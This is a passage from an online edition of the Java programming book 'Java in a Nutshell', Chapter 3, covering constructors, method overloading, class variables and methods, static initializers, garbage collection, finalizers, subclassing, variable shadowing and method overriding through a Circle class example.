An instance where the this keyword is required is when a method argument or a local variable in a method has the same name as one of the fields of the class. In this case, you must use this to access the field. If you used the field name alone, you would end up accessing the argument or local variable with the same name. We'll see examples of this in the next section.

Previous | Home | Next
Miscellaneous Differences | Book Index | Object Creation
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 3] 3.2 Object Creation

Java in a Nutshell

Previous Chapter 3
Classes and Objects in Java 		Next

3.2 Object Creation

Take another look at how we've been creating our circle object:

Circle c = new Circle();

What are those parentheses doing there? They make it look like we're calling a function! In fact, that is exactly what we're doing. Every class in Java has at least one constructor method, which has the same name as the class. The purpose of a constructor is to perform any necessary initialization for the new object. Since we didn't define one for our Circle class, Java gave us a default constructor that takes no arguments and performs no special initialization.

The way it works is this: The new keyword creates a new dynamic instance of the class--i.e., it allocates the new object. The constructor method is then called, passing the new object implicitly (a this reference, as we saw above), and passing the arguments specified between parentheses explicitly.

Defining a Constructor

There is some obvious initialization we could do for our circle objects, so let's define a constructor. Example 3.2 shows a constructor that lets us specify the initial values for the center and radius of our new Circle object. The example also shows a use of the this keyword, as described in the previous section.

Example 3.2: A Constructor for the Circle Class

public class Circle {
    public double x, y, r;  // The center and the radius of the circle
    // The constructor method.
    public Circle(double x, double y, double r)
    {
        this.x = x;
        this.y = y;
        this.r = r;
    }
    public double circumference() { return 2 * 3.14159 * r; }
    public double area() { return 3.14159 * r*r; }
}

With the old, default constructor, we had to write code like this:

Circle c = new Circle();
c.x = 1.414;
c.y = -1.0;
c.r = .25;

With this new constructor the initialization becomes part of the object creation step:

Circle c = new Circle(1.414, -1.0, .25);

There are two important notes about naming and declaring constructors:

  • The constructor name is always the same as the class name.

  • The return type is implicitly an instance of the class. No return type is specified in constructor declarations, nor is the void keyword used. The this object is implicitly returned; a constructor should not use a return statement to return a value.

Multiple Constructors

Sometimes you'll want to be able to initialize an object in a number of different ways, depending on what is most convenient in a particular circumstance. For example, we might want to be able to initialize the radius of a circle without initializing the center, or we might want to initialize a circle to have the same center and radius as another circle, or we might want to initialize all the fields to default values. Doing this is no problem: A class can have any number of constructor methods. Example 3.3 shows how.

Example 3.3: Multiple Circle Constructors

public class Circle {
    public double x, y, r;
    public Circle(double x, double y, double r) {
        this.x = x; this.y = y; this.r = r;
    }
    public Circle(double r) { x = 0.0; y = 0.0; this.r = r; }
    public Circle(Circle c) { x = c.x; y = c.y; r = c.r; }
    public Circle() { x = 0.0; y = 0.0; r = 1.0; }
    public double circumference() { return 2 * 3.14159 * r; }
    public double area() { return 3.14159 * r*r; }
}

Method Overloading

The surprising thing in this example (not so surprising if you're a C++ programmer) is that all the constructor methods have the same name! So how can the compiler tell them apart? The way that you and I tell them apart is that the four methods take different arguments and are useful in different circumstances. The compiler tells them apart in the same way. In Java, a method is distinguished by its name, and by the number, type, and position of its arguments. This is not limited to constructor methods--any two methods are not the same unless they have the same name, and the same number of arguments of the same type passed at the same position in the argument list. When you call a method and there is more than one method with the same name, the compiler automatically picks the one that matches the data types of the arguments you are passing.

Defining methods with the same name and different argument types is called method overloading. It can be a convenient technique, as long as you only give methods the same name when they perform similar functions on slightly different forms of input data. Overloaded methods may have different return types, but only if they have different arguments. Don't confuse method overloading with method overriding, which we'll discuss later.

this Again

There is a specialized use of the this keyword that arises when a class has multiple constructors--it can be used from a constructor to invoke one of the other constructors of the same class. So we could rewrite the additional constructors from Example 3.3 in terms of the first one like this:

public Circle(double x, double y, double r) {
    this.x = x; this.y = y; this.r = r;
}
public Circle(double r) { this(0.0, 0.0, r); }
public Circle(Circle c) { this(c.x, c.y, c.r); }
public Circle() { this(0.0, 0.0, 1.0); }

Here, the this() call refers to whatever constructor of the class takes the specified type of arguments. This would be a more impressive example, of course, if the first constructor that we were invoking did a more significant amount of initialization, as it might, for example, if we were writing a more complicated class.

There is a very important restriction on this this syntax: it may only appear as the first statement in a constructor. It may, of course, be followed by any additional initialization that a particular version of the constructor needs to do. The reason for this restriction involves the automatic invocation of superclass constructor methods, which we'll explore later in this chapter.

Previous | Home | Next
Introduction to Classes and Objects | Book Index | Class Variables
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 3] 3.3 Class Variables

Java in a Nutshell

Previous Chapter 3
Classes and Objects in Java 		Next

3.3 Class Variables

In our Circle class definition, we declared three "instance" variables: x, y, and r. Each instance of the class--each circle--has its own copy of these three variables. These variables are like the fields of a struct in C--each instance of the struct has a copy of the fields. Sometimes, though, we want a variable of which there is only one copy--something like a global variable in C.

The problem is that Java doesn't allow global variables. (Actually, those in the know consider this is feature!) Every variable in Java must be declared inside a class. So Java uses the static keyword to indicate that a particular variable is a class variable rather than an instance variable. That is, that there is only one copy of the variable, associated with the class, rather than many copies of the variable associated with each instance of the class. The one copy of the variable exists regardless of the number of instances of the class that are created--it exists and can be used even if the class is never actually instantiated.

This kind of variable, declared with the static keyword, is often called a static variable. I prefer (and recommend) the name "class variable" because it is easily distinguished from its opposite, "instance variable." We'll use both terms in this book.

An Example

As an example (a somewhat contrived one), suppose that while developing the Circle class we wanted to do some testing on it and determine how much it gets used. One way to do this would be to count the number of Circle objects that are instantiated. To do this we obviously need a variable associated with the class, rather than with any particular instance. Example 3.4 shows how we can do it--we declare a static variable and increment it each time we create a Circle.

Example 3.4: Static Variable Example

public class Circle {
    static int num_circles = 0; // class variable: how many circles created
    public double x, y, r;      // instance vars: the center and the radius
    public Circle(double x, double y, double r) {
        this.x = x; this.y = y; this.r = r;
        num_circles++;
    }
    public Circle(double r) { this(0.0, 0.0, r); }
    public Circle(Circle c) { this(c.x, c.y, c.r); }
    public Circle() { this(0.0, 0.0, 1.0); }
    public double circumference() { return 2 * 3.14159 * r; }
    public double area() { return 3.14159 * r*r; }
}

Accessing Class Variables

Now that we are keeping track of the number of Circle objects created, how can we access this information? Because static variables are associated with the class rather than with an instance, we access them through the class rather than through the instance. Thus, we might write: [5]

[5] Recall that System.out.println() prints a line of text, and that the string concatenation operator, +, converts non-string types to strings as necessary.

System.out.println("Number of circles created: " + Circle.num_circles);

Notice that in our definition of the constructor method in Example 3.4, we just used num_circles instead of Circle.num_circles. We're allowed to do this within the class definition of Circle itself. Anywhere else, though, we must use the class name as well.

Global Variables?

Earlier we said that Java does not support global variables. In a sense, though, Circle.num_circles behaves just like one. What is different from a global variable in C is that there is no possibility of name conflicts. If we use some other class with a class variable named num_circles, there won't be a "collision" between these two "global" variables, because they must both be referred to by their class names. Since each class variable must be part of a class and must be referred to with its class name, each has a unique name. Furthermore, each class has a unique name because, as we saw in Chapter 2, How Java Differs from C, it is part of a package with a unique name.

Constants: Another Class Variable Example

Let's try a less forced example of why you might want to use a class variable with the Circle class. When computing the area and circumference of circles, we use the value pi. Since we use the value frequently, we don't want to keep typing out 3.14159, so we'll define it as a class variable that has a convenient name:

public class Circle {
    public static final double PI = 3.14159265358979323846;
    public double x, y, r;
    // ... etc....
}

Besides the static keyword that we've already seen, we use the final keyword, which means that this variable can never have its value changed. This prevents you from doing something stupid like:

Circle.PI = 4;

which would tend to give you some pretty square-looking circles.

The Java compiler is smart about variables declared both static and final--it knows that they have constant values. So when you write code like this:

double circumference = 2 * Circle.PI * radius;

the compiler precomputes the value 2 * Circle.PI , instead of leaving it for the interpreter.

Java does not have a preprocessor with a C-style #define directive. static final variables are Java's substitute for C's #define'd constants. Note that the C convention of capitalizing constants has been carried over into Java.

Previous | Home | Next
Object Creation | Book Index | Class Methods
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 3] 3.4 Class Methods

Java in a Nutshell

Previous Chapter 3
Classes and Objects in Java 		Next

3.4 Class Methods

Let's define a new method in our Circle class. This one tests whether a specified point falls within the defined circle:

public class Circle {
    double x, y, r;
    // is point (a,b) inside this circle?
    public boolean isInside(double a, double b)
    {
        double dx = a - x;
        double dy = b - y;
        double distance = Math.sqrt(dx*dx + dy*dy);
        if (distance < r) return true;
        else return false;
    }
        .
        .  // Constructor and other methods omitted.
        .
}

What's this Math.sqrt() thing? It looks like a method call and, given its name and its context, we can guess that it is computing a square root. But the method calls we've discussed are done through an object. Math isn't the name of an object that we've declared, and there aren't any global objects in Java, so this must be a kind of method call that we haven't seen before.

static Methods

What's going on here is that Math is the name of a class. sqrt() is the name of a class method (or static method) defined in Math. It differs from the instance methods, such as area() in Circle, that we've seen so far.

Class methods are like class variables in a number of ways:

  • Class methods are declared with the static keyword.

  • Class methods are often referred to as "static methods."

  • Class methods are invoked through the class rather than through an instance. (Although within the class they may be invoked by method name alone.)

  • Class methods are the closest Java comes to "global" methods. Because they must be referred to by the class name, there is no danger of name conflicts.

No this

Class methods differ from instance methods in one important way: they are not passed an implicit this reference. Thus, these this-less methods are not associated with any instance of the class and may not refer to any instance variables or invoke instance methods.

Since class methods are not passed a this reference, and are not invoked through an object, they are the closest thing that Java offers to the "normal" C procedures that you may be accustomed to, and may therefore seem familiar and comforting. If you're sick and tired of this object-oriented business, it is perfectly possible to write complete Java programs using only class methods, although this does defeat an important purpose of using the language!

But don't think that class methods are somehow cheating--there are perfectly good reasons to declare a method static. And indeed, there are classes like Math that declare all their methods (and variables) static. Since Math is a collection of functions that operate on floating-point numbers, which are a primitive type, there are no objects involved, and no need for instance methods. System is another class that defines only class methods--it provides a varied collection of system functions for which there is no appropriate object framework.

A Class Method for Circles

Example 3.5 shows two (overloaded) definitions of a method for our Circle class. One is an instance method and one is a class method.

Example 3.5: A Class Method and an Instance Method

public class Circle {
    public double x, y, r;
    // An instance method.  Returns the bigger of two circles.
    public Circle bigger(Circle c) {
        if (c.r > r) return c; else return this;
    }
    // A class method.  Returns the bigger of two circles.
    public static Circle bigger(Circle a, Circle b) {
        if (a.r > b.r) return a; else return b;
    }
        .
        .  // Other methods omitted here.
        .
}

You would invoke the instance method like this:

Circle a = new Circle(2.0);
Circle b = new Circle(3.0);
Circle c = a.bigger(b);         // or, b.bigger(a);

And you would invoke the class method like this:

Circle a = new Circle(2.0);
Circle b = new Circle(3.0);
Circle c = Circle.bigger(a,b);

Neither of these is the "correct" way to implement this method. One or the other will seem more natural, depending on circumstances.

A Mystery Explained

Now that we understand class variables, instance variables, class methods, and instance methods, we are in a position to explore that mysterious method call we saw in our very first Java "Hello World" example:

System.out.println("Hello world!");

One hypothesis is that println() is a class method in a class named out, which is in a package named System. Syntactically, this is perfectly reasonable (except perhaps that class names always seem to be capitalized by convention, and out isn't capitalized). But if you look at the API documentation, you'll find that System is not a package name; it is the name of a class (which is in the java.lang package, by the way). Can you figure it out?

Here's the story: System is a class. It has a class variable named out. out refers to an object of type PrintStream. The object System.out has an instance method named println(). Mystery solved!

Static Initializers

Both class and instance variables can have initializers attached to their declarations. For example:

static int num_circles = 0;
float r = 1.0;

Class variables are initialized when the class is first loaded. Instance variables are initialized when an object is created.

Sometimes we need more complex initialization than is possible with these simple variable initializers. For instance variables, there are constructor methods, which are run when a new instance of the class is created. Java also allows you to write an initialization method for class variables. Such a method is called a static initializer.

The syntax of static initializers gets kind of bizarre. Consider that a static initializer is invoked automatically by the system when the class is loaded. Thus there are no meaningful arguments that can be passed to it (unlike the arguments we can pass to a constructor method when creating a new instance). There is also no value to return. So a static initializer has no arguments and no return value. Furthermore, it is not really necessary to give it a name, since the system calls the method automatically for us. What part of a method declaration is left? Just the static keyword and the curly brackets!

Example 3.6 shows a class declaration with a static initializer. Notice that the class contains a regular static variable initializer of the kind we've seen before, and also a static initializer--an arbitrary block of code between { and }.

Example 3.6: A Static Initializer

// We can draw the outline of a circle using trigonometric functions.
// Trigonometry is slow though, so we pre-compute a bunch of values.
public class Circle {
    // Here are our static lookup tables, and their own simple initializers.
    static private double sines[] = new double[1000];
    static private double cosines[] = new double[1000];
    // Here's a static initializer "method" that fills them in.
    // Notice the lack of any method declaration!
    static {
        double x, delta_x;
        int i;
        delta_x = (Circle.PI/2)/(1000-1);
        for(i = 0, x = 0.0; i < 1000; i++, x += delta_x) {
            sines[i] = Math.sin(x);
            cosines[i] = Math.cos(x);
        }
    }
        .
        .  // The rest of the class omitted.
        .
}

The syntax gets even a little stranger than this. Java allows any number of static initializer blocks of code to appear within a class definition. What the compiler actually does is to internally produce a single class initialization routine that combines all the static variable initializers and all of the static initializer blocks of code, in the order that they appear in the class declaration. This single initialization procedure is run automatically, one time only, when the class is first loaded.

One common use of static initializers is for classes that implement native methods--i.e., methods written in C. The static initializer for such a class should call System.load() or System.loadLibrary() to read in the native library that implements these native methods.

Instance Initializers

In Java 1.1, a class definition may also include instance initializers. These look like static initializers, but without the static keyword. An instance initializer is like a constructor: it runs when an instance of the class is created. We'll see more about instance initializers in Chapter 5, Inner Classes and Other New Language Features, Inner Classes and Other New Language Features.

Previous | Home | Next
Class Variables | Book Index | Object Destruction
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 3] 3.5 Object Destruction

Java in a Nutshell

Previous Chapter 3
Classes and Objects in Java 		Next

3.5 Object Destruction

Now that we've seen how you can create and use objects, the next obvious question, a question that C and C++ programmers have been itching to have answered, is how do you destroy objects when they are no longer needed?

The answer is: You don't! Objects are not passed to any free() method, as allocated memory in C is. And there is no delete operator as there is in C++. Java takes care of object destruction for you, and lets you concentrate on other, more important things, like the algorithm you're working on.

Garbage Collection

The technique Java uses to get rid of objects once they are no longer needed is called garbage collection. It is a technique that has been around for years in languages such as Lisp. The Java interpreter knows what objects it has allocated. It can also figure out which variables refer to which objects, and which objects refer to which other objects. Thus, it can figure out when an allocated object is no longer referred to by any other object or variable. When it finds such an object, it knows that it can destroy it safely, and does so. The garbage collector can also detect and destroy "cycles" of objects that refer to each other, but are not referred to by any other objects.

The Java garbage collector runs as a low-priority thread, and does most of its work when nothing else is going on. Generally, it runs during idle time while waiting for user input in the form of keystrokes or mouse events. The only time the garbage collector must run while something high-priority is going on (i.e., the only time it will actually slow down the system) is when the interpreter has run out of memory. This doesn't happen often because there is that low-priority thread cleaning things up in the background.

This scheme may sound extremely slow and wasteful of memory. Actually though, good garbage collectors can be surprisingly efficient. No, garbage collection will never be as efficient as explicit, well-written memory allocation and deallocation. But it does make programming a lot easier and less prone to bugs. And for most real-world programs, rapid development, lack of bugs, and easy maintenance are more important features than raw speed or memory efficiency.

Putting the Trash Out

What garbage collection means for your programs is that when you are done with an object, you can just forget about it--the garbage collector finds it and takes care of it. Example 3.7 shows an example.

Example 3.7: Leaving an Object Out for Garbage Collection

String processString(String s)
{
    // Create a StringBuffer object to process the string in.
    StringBuffer b = new StringBuffer(s);
    // Process it somehow...
    // Peturn it as a String. Just forget about the StringBuffer object:
    // it will be automatically garbage collected.
    return b.toString();
}

If you're a C or C++ programmer, conditioned to allocating and deallocating your own dynamic memory, you may at first feel a nagging sense of misgiving when you write procedures that allocate and then forget objects. You'll get used to it though, and even learn to love it!

There is an instance where you may want to take some action to help the garbage collection process along by "forgetting quickly." Example 3.8 explains.

Example 3.8: Forced Forgetting of an Object

public static void main(String argv[])
{
    int big_array[] = new int[100000];
    // Do some computations with big_array and get a result.
    int result = compute(big_array);
    // We no longer need big_array.  It will get garbage collected when
    // there are no more references.  Since big_array is a local variable,
    // it refers to the array until this method returns.  But this
    // method doesn't return.  So we've got to get rid of the reference
    // ourselves, just to help out the garbage collector.
    big_array = null;
    // Loop forever, handling the user's input.
    for(;;) handle_input();
}

Object Finalization

Just as a constructor method performs initialization for an object, a Java finalizer method performs finalization for an object.

Garbage collection automatically frees up the memory resources used by objects. But objects may hold other kinds of resources, such as file descriptors or sockets, as well. The garbage collector can't free these resources up for you, so you should write a finalizer method that takes care of things like closing open files, terminating network connections, and so on.

Example 3.9 shows the finalizer method from the Java FileOutputStream class.

Note that a finalizer is an instance method (i.e., non-static), takes no arguments, returns no value (i.e., void), and must be named finalize(). [6]

[6] C++ programmers, take note! Although Java constructor methods are named like C++ constructors, Java finalization methods are not named like C++ destructor methods.

Example 3.9: A Finalizer Method

/**
 * Closes the stream when garbage is collected.
 * Checks the file descriptor first to make sure it is not already closed.
 */
protected void finalize() throws IOException {
    if (fd != null) close();
}

There are some additional things to be aware of about finalizers:

  • If an object has a finalizer, that method is invoked before the system garbage collects the object.

  • The Java interpreter may exit without garbage collecting all outstanding objects, so some finalizers may never be invoked. In this case, though, any outstanding resources are usually freed by the operating system.

  • Java makes no guarantees about when garbage collection will occur, or what order objects will be collected in. Therefore, Java can make no guarantees about when a finalizer will be invoked, or in what order finalizers will be invoked, or what thread will execute finalizers.

  • After a finalizer is invoked, objects are not freed right away. This is because a finalizer method may "resurrect" an object by storing the this pointer somewhere, so that the object once again has references. Thus, after finalize() is called, an object must once again be determined to be unreferenced before it can actually be garbage collected. Even if an object is "resurrected," the finalizer method is never invoked more than once. Note that resurrecting an object is never a useful thing to do--just a strange quirk of object finalization.

  • The finalizer shown in Example 3.9 declares that it may throw an exception (exceptions are described in detail in Chapter 2, How Java Differs from C). If an uncaught exception actually occurs in a finalizer method, however, the exception is ignored by the system.

Previous | Home | Next
Class Methods | Book Index | Subclasses and Inheritance
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 3] 3.6 Subclasses and Inheritance

Java in a Nutshell

Previous Chapter 3
Classes and Objects in Java 		Next

3.6 Subclasses and Inheritance

The Circle class we've defined is good for abstract mathematical manipulation. For some applications this is exactly what we need. For other applications, we want to be able to manipulate circles and draw them on the screen. This means we need a new class, GraphicCircle, that has all the functionality of Circle, but also has the ability to be drawn.

We want to implement GraphicCircle so that it can make use of the code we've already written for Circle. One way to do that is the following:

public class GraphicCircle {
    // Here is the mathematical circle.
    public Circle c;
    // Here are the old methods.
    public double area() { return c.area(); }
    public double circumference() { return c.circumference(); }
    // The new graphic variables and methods go here.
    public Color outline, fill;
    public void draw(DrawWindow dw) { /* code omitted */ }
}

This approach would work, but it is not particularly elegant. The problem is that we have to write stubs for methods like area() and circumference() that have nothing to do with drawing circles. It would be nice if we didn't have to do this.

Extending a Class

In fact, we don't have to do it this way. Java allows us to define GraphicCircle as an extension, or subclass of Circle. Example 3.10 shows how. Note that this example assumes we have two other classes of objects defined: Color, which represents a color, and DrawWindow, a class that has the window into which drawing is done and that defines the primitive methods to do the drawing.

Example 3.10: Subclassing a Class

public class GraphicCircle extends Circle {
    // We automatically inherit the variables and methods of
    // Circle, so we only have to put the new stuff here.
    // We've omitted the GraphicCircle constructor, for now.
    Color outline, fill;
    public void draw(DrawWindow dw) {
        dw.drawCircle(x, y, r, outline, fill);
    }
}

The extends keyword tells Java that GraphicCircle is a subclass of Circle, and that it inherits the fields and methods of that class. [7] The definition of the draw() method shows variable inheritance--this method uses the Circle variables x, y, and r as if they were defined right in GraphicCircle itself.

[7] Except for private fields and methods. We'll discuss private members of a class later. C++ programmers should note that extends is the Java equivalent of the : operator in C++--both indicate the superclass of a class.

GraphicCircle also inherits the methods of Circle. Thus, if we have a GraphicCircle object referred to by variable gc, we can say:

double area = gc.area();

This works just as if the area() method were defined in GraphicCircle itself.

Another feature of subclassing is that every GraphicCircle object is also a perfectly legal Circle object. Thus, if gc refers to a GraphicCircle object, we can assign it to a Circle variable, and we can forget all about its extra graphic capabilities: Circle c = gc;.

Final Classes

When a class is declared with the final modifier, it means that it cannot be extended or subclassed. java.lang.System is an example of a final class. Declaring a class final prevents unwanted extensions to the class. But it also allows the compiler to make some optimizations when invoking the methods of a class. We'll explore this in more detail when we talk about method overriding later in this chapter.

Superclasses, Object, and the Class Hierarchy

In our example, GraphicCircle is a subclass of Circle. We can also say that Circle is the superclass of GraphicCircle. The superclass of a class is specified in its extends clause:

public class GraphicCircle extends Circle { ... }

Every class you define has a superclass. If you do not specify the superclass with an extends clause, the superclass is the class Object. Object is a special class for a couple of reasons:

  • It is the only class that does not have a superclass.

  • The methods defined by Object can be called by any Java object.

Because every class has a superclass, classes in Java form a class hierarchy, which can be represented as a tree with Object at its root. Figure 3.1 shows a class hierarchy diagram which includes our Circle and GraphicCircle classes, as well as some of the standard classes from the Java API.

Figure 3.1: A class hierarchy diagram

[Graphic: Figure 3-1]

The complete class hierarchy for the Java API is diagrammed in the figures of Part V, API Quick Reference.

Subclass Constructors

In Example 3.10 we left out the constructor method for our new GraphicCircle class. Let's implement that now. Here's one way:

public GraphicCircle(double x, double y, double r,
                                Color outline, Color fill)
{
    this.x = x;
    this.y = y;
    this.r = r;
    this.outline = outline;
    this.fill = fill;
}

This constructor relies on the fact that GraphicCircle inherits all the variables of Circle and simply initializes those variables itself. But this duplicates the code of the Circle constructor, and if Circle did more elaborate initialization, it could become quite wasteful. Furthermore, if the Circle class had internal private fields (discussed later), we wouldn't be able to initialize them like this. What we need is a way of calling a Circle constructor from within our GraphicCircle constructor. Example 3.11 shows how we can do this.

Example 3.11: Invoking a Superclass's Constructor

public GraphicCircle(double x, double y, double r,
                                Color outline, Color fill)
{
    super(x, y, r);
    this.outline = outline;
    this.fill = fill;
}

super is a reserved word in Java. One of its uses is that shown in the example--to invoke the constructor method of a superclass. Its use is analogous to the use of the this keyword to invoke one constructor method of a class from within another. Using super to invoke a constructor is subject to the same restrictions as using this to invoke a constructor:

  • super may only be used in this way within a constructor method.

  • The call to the superclass constructor must appear as the first statement within the constructor method. It must appear even before variable declarations.

Constructor Chaining

When you define a class, Java guarantees that the class's constructor method is called whenever an instance of that class is created. It also guarantees that the constructor is called when an instance of any subclass is created. In order to guarantee this second point, Java must ensure that every constructor method calls its superclass constructor method. If the first statement in a constructor is not an explicit call to a constructor of the superclass with the super keyword, then Java implicitly inserts the call super()--that is, it calls the superclass constructor with no arguments. If the superclass does not have a constructor that takes no arguments, this causes a compilation error.

There is one exception to the rule that Java invokes super() implicitly if you do not do so explicitly. If the first line of a constructor, C1, uses the this() syntax to invoke another constructor, C2, of the class, Java relies on C2 to invoke the superclass constructor, and does not insert a call to super() into C1. Of course, if C2 itself uses this() to invoke a third constructor, C2 does not call super() either, but somewhere along the chain, a constructor either explicitly or implicitly invokes the superclass constructor, which is what is required.

Consider what happens when we create a new instance of the GraphicCircle class. First, the GraphicCircle constructor shown in Example 3.11 is invoked. This constructor explicitly invokes a Circle constructor and that Circle constructor implicitly calls super() to invoke the constructor of its superclass, Object. The body of the Object constructor runs first, followed by the body of the Circle constructor, and finally followed by the body of the GraphicCircle constructor.

What this all means is that constructor calls are "chained"--any time an object is created, a sequence of constructor methods are invoked, from subclass to superclass on up to Object at the root of the class hierarchy. Because a superclass constructor is always invoked as the first statement of its subclass constructor, the body of the Object constructor always runs first, followed by the body of its subclass, and on down the class hierarchy to the class that is being instantiated.

The Default Constructor

There is one missing piece in the description of constructor chaining above. If a constructor does not invoke a superclass constructor, Java does so implicitly. But what if a class is declared without any constructor at all? In this case, Java implicitly adds a constructor to the class. This default constructor does nothing but invoke the superclass constructor.

For example, if we did not declare a constructor for the GraphicCircle class, Java would have implicitly inserted this constructor:

public GraphicCircle() { super(); }

Note that if the superclass, Circle(), did not declare a no-argument constructor, then this automatically inserted default constructor would cause a compilation error. If a class does not define a no-argument constructor, then all of its subclasses must define constructors that explicitly invoke the superclass constructor with the necessary arguments.

It can be confusing when Java implicitly calls a constructor or inserts a constructor definition into a class--something is happening that does not appear in your code! Therefore, it is good coding style, whenever you rely on an implicit superclass constructor call or on a default constructor, to insert a comment noting this fact. Your comments might look like those in the following example:

class A {
    int i;
    public A() {
        // Implicit call to super(); here.
        i = 3;
    }
}
class B extends A {
    // Default constructor: public B() { super(); }
}

If a class does not declare any constructor, it is given a publicly constructor by default. Classes that do not want to be publically instantiated, should declare a protected constructor to prevent the insertion of this public constructor. Classes that never want to be instantiated at all should define a private constructor.

Finalizer Chaining?

You might assume that since Java chains constructor methods that it also automatically chains the finalizer methods for an object. In other words, you may think that the finalizer method of a class automatically invokes the finalizer of its superclass. In fact, Java does not do this. In practice, finalizer methods are relatively rare, and the need for finalizer chaining rarely arises. If a class B with a finalizer method is a subclass of a class A with its own finalizer method, then B's finalizer should be sure to invoke A's finalizer, explicitly creating a chain of finalizers. This is a little tricky, since finalizers always have the same name (finalize()), and we haven't yet learned how to invoke a method in the superclass when that method is also defined in the subclass. We'll return to the issue of finalizer chaining when we learn how.

Shadowed Variables

Suppose that our GraphicCircle class has a new variable that specifies the resolution, in dots per inch, of the DrawWindow object in which it is going to be drawn. And further, suppose that it names that new variable r:

public class GraphicCircle extends Circle {
    Color outline, fill;
    float r;  // New variable.  Resolution in dots-per-inch.
    public GraphicCircle(double x, double y, double rad, Color o, Color f) {
        super(x, y, rad); outline = o; fill = f;
    }
    public void setResolution(float resolution) { r = resolution; }
    public void draw(DrawWindow dw) { dw.drawCircle(x, y, r, outline, fill); }
}

Now, with this resolution variable declared, when we use the variable r in the GraphicCircle class, we are no longer referring to the radius of the circle. The resolution variable r in GraphicCircle shadows the radius variable r in Circle. [8]

[8] This is a contrived example, of course--we could simply rename the variable and avoid the issue. Typically we would rename the variable: variable shadowing is a necessary part of Java syntax, but is not a useful programming technique. Your code will be easier to understand if you avoid shadowed variables.

So, how can we refer to the radius variable defined in the Circle class when we need it? Recall that using a variable, such as r, in the class in which it is defined is shorthand for:

this.r  // Refers to the GraphicCircle resolution variable.

As you might guess, you can refer to a variable r defined in the superclass like this:

super.r  // Refers to the Circle radius variable.

Another way you can do this is to cast this to the appropriate class and then access the variable:

((Circle) this).r

This cast is exactly what the super keyword does when used like this. You can use this casting technique when you need to refer to a shadowed variable defined in a class that is not the immediate superclass. For example, if C is a subclass of B, which is a subclass of A, and class C shadows a variable x that is also defined in classes A and B, then you can refer to these different variables from class C as follows:

x                // Variable x in class C.
this.x           // Variable x in class C.
super.x          // Variable x in class B.
((B)this).x      // Variable x in class B.
((A)this).x      // Variable x in class A.
super.super.x    // Illegal; does not refer to x in class A.

Note that you cannot refer to a shadowed variable x in the superclass of a superclass with super.super.x. Java does not recognize this syntax.

Shadowed Methods?

Just as a variable defined in one class can shadow a variable with the same name in a superclass, you might expect that a method in one class could shadow a method with the same name (and same arguments) in a superclass. In a sense, they do: "shadowed" methods are called overridden methods. But method overriding is significantly different than variable shadowing; it is discussed in the sections that follow.

Previous | Home | Next
Object Destruction | Book Index | Overriding Methods
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 3] 3.7 Overriding Methods

Java in a Nutshell

Previous Chapter 3
Classes and Objects in Java 		Next

3.7 Overriding Methods

When a class defines a method using the same name, return type, and arguments as a method in its superclass, the method in the class overrides the method in the superclass. When the method is invoked for an object of the class, it is the new definition of the method that is called, not the superclass' old definition.

Method overriding is an important and useful technique in object-oriented programming. Suppose we define a subclass Ellipse of our Circle class. [9] Then it would be important for Ellipse to override the area() and circumference() methods of Circle. Ellipse would have to implement new versions of these functions because the formulas that apply to circles don't work for ellipses.

[9] This is admittedly a strange thing to do, since, mathematically, a circle is a kind of ellipse, and it is customary to derive a more specific class from a more general one. Nevertheless, it is a useful example here.

Before we go any further with the discussion of method overriding, be sure that you understand the difference between method overriding and method overloading, which we discussed earlier. As you probably recall, method overloading refers to the practice of defining multiple methods (in the same class) with the same name but with differing argument lists. This is very different from method overriding, and it is important not to get them confused!

Overriding Is Not Shadowing

Although Java treats the variables and methods of a class analogously in many ways, method overriding is not like variable shadowing at all: You can refer to shadowed variables simply by casting an object to the appropriate type. You cannot invoke overridden methods with this technique, however. Example 3.12 illustrates this crucial difference.

Example 3.12: Method Overriding versus Variable Shadowing

class A {
    int i = 1;
    int f() { return i; }
}
class B extends A {
    int i = 2;                          // Shadows variable i in class A.
    int f() { return -i; }              // Overrides method f in class A.
}
public class override_test {
    public static void main(String args[]) {
        B b = new B();
        System.out.println(b.i);     // Refers to B.i; prints 2.
        System.out.println(b.f());   // Refers to B.f(); prints -2.
        A a = (A) b;                 // Cast b to an instance of class A.
        System.out.println(a.i);     // Now refers to A.i; prints 1;
        System.out.println(a.f());   // Still refers to B.f(); prints -2;
    }
}

While this difference between method overriding and variable shadowing may seem surprising at first, a little thought makes the purpose clear. Suppose we have a bunch of Circle and Ellipse (a subclass of Circle) objects that we are manipulating. To keep track of the circles and ellipses, we store them in an array of type Circle[], casting all the Ellipse objects to Circle objects before we store them. Then, when we loop through the elements of this array, we don't have to know or care whether the element is actually a Circle or an Ellipse. What we do care very much about, however, is that the correct value is computed when we invoke the area() method of any element of the array. That is, we don't want to use the formula for the area of a circle when the object is actually an ellipse!

Seen in this context, it is not surprising at all that method overriding is handled differently by Java than variable shadowing.

final Methods

If a method is declared final, it means that the method declaration is the "final" one--that it cannot be overridden. static methods and private methods (which we haven't learned about yet) cannot be overridden either, nor can the methods of a final class. If a method cannot be overridden, the compiler may perform certain optimizations on it, as we'll see below.

Dynamic Method Lookup

If we have an array of Circle and Ellipse objects, how does the compiler know to call the Circle area() method or the Ellipse area() method for any given item in the array? The compiler does not know this; it can't. The compiler knows that it does not know, however, and produces code that uses "dynamic method lookup" at run-time. When the interpreter runs the code, it looks up the appropriate area() method to call for each of the objects. That is, when the interpreter interprets the expression s.area(), it dynamically looks for an area() method associated with the particular object referred to by the variable s. It does not simply use the area() method that is statically associated with the type of the variable s. [10]

[10] C++ programmers should note that dynamic method lookup is what C++ does for virtual functions. An important difference between Java and C++ is that Java does not have a virtual keyword; methods in Java are "virtual" by default.

